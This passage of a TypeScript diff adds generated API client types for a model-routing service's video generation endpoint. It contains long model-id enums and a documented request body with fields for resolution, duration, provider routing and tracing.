'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashRequestModelEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestModelEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestModelEnum] + +export const openrouterPostVideosGoogleGeminiOmni11FlashRequestResolutionEnum = + { + '720p': '720p', + '1080p': '1080p', + '4K': '4K', + '360p': '360p', + } as const + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashRequestResolutionEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestResolutionEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestResolutionEnum] + +export const openrouterPostVideosGoogleGeminiOmni11FlashRequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', + '3840x2160': '3840x2160', + '2160x3840': '2160x3840', + '640x360': '640x360', + '360x640': '360x640', +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashRequestSizeEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestSizeEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestSizeEnum] + +/** + * @description Google: Gemini Omni 1.1 Flash (google/gemini-omni-1.1-flash) — model-constrained video generation request. Gemini Omni 1.1 Flash is Google's native multimodal video generation and editing model, the generally available successor to Gemini Omni Flash Preview. It is suited for text-to-video, image-to-video, first and... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosGoogleGeminiOmni11FlashBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosGoogleGeminiOmni11FlashRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosGoogleGeminiOmni11FlashRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosGoogleGeminiOmni11FlashRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: task. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosGoogleGeminiOmni11FlashRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosGoogleGeminiOmni11FlashRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashOptions = { + body: OpenrouterPostVideosGoogleGeminiOmni11FlashBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashResponses = { + '200': OpenrouterPostVideosGoogleGeminiOmni11FlashStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosGoogleGeminiOmni11FlashResponse = + OpenrouterPostVideosGoogleGeminiOmni11FlashStatus200 + +export const openrouterPostVideosGoogleGeminiOmni12FlashStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashStatus200StatusEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni12FlashStatus200StatusEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni12FlashStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosGoogleGeminiOmni12FlashStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosGoogleGeminiOmni12FlashStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosGoogleGeminiOmni12FlashRequestAspectRatioEnum = + { + '16:9': '16:9', + '9:16': '9:16', + } as const + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashRequestAspectRatioEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestAspectRatioEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestAspectRatioEnum] + +export const openrouterPostVideosGoogleGeminiOmni12FlashRequestDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni12FlashRequestDurationEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestDurationEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni12FlashRequestDurationEnum] + +export const openrouterPostVideosGoogleGeminiOmni12FlashRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 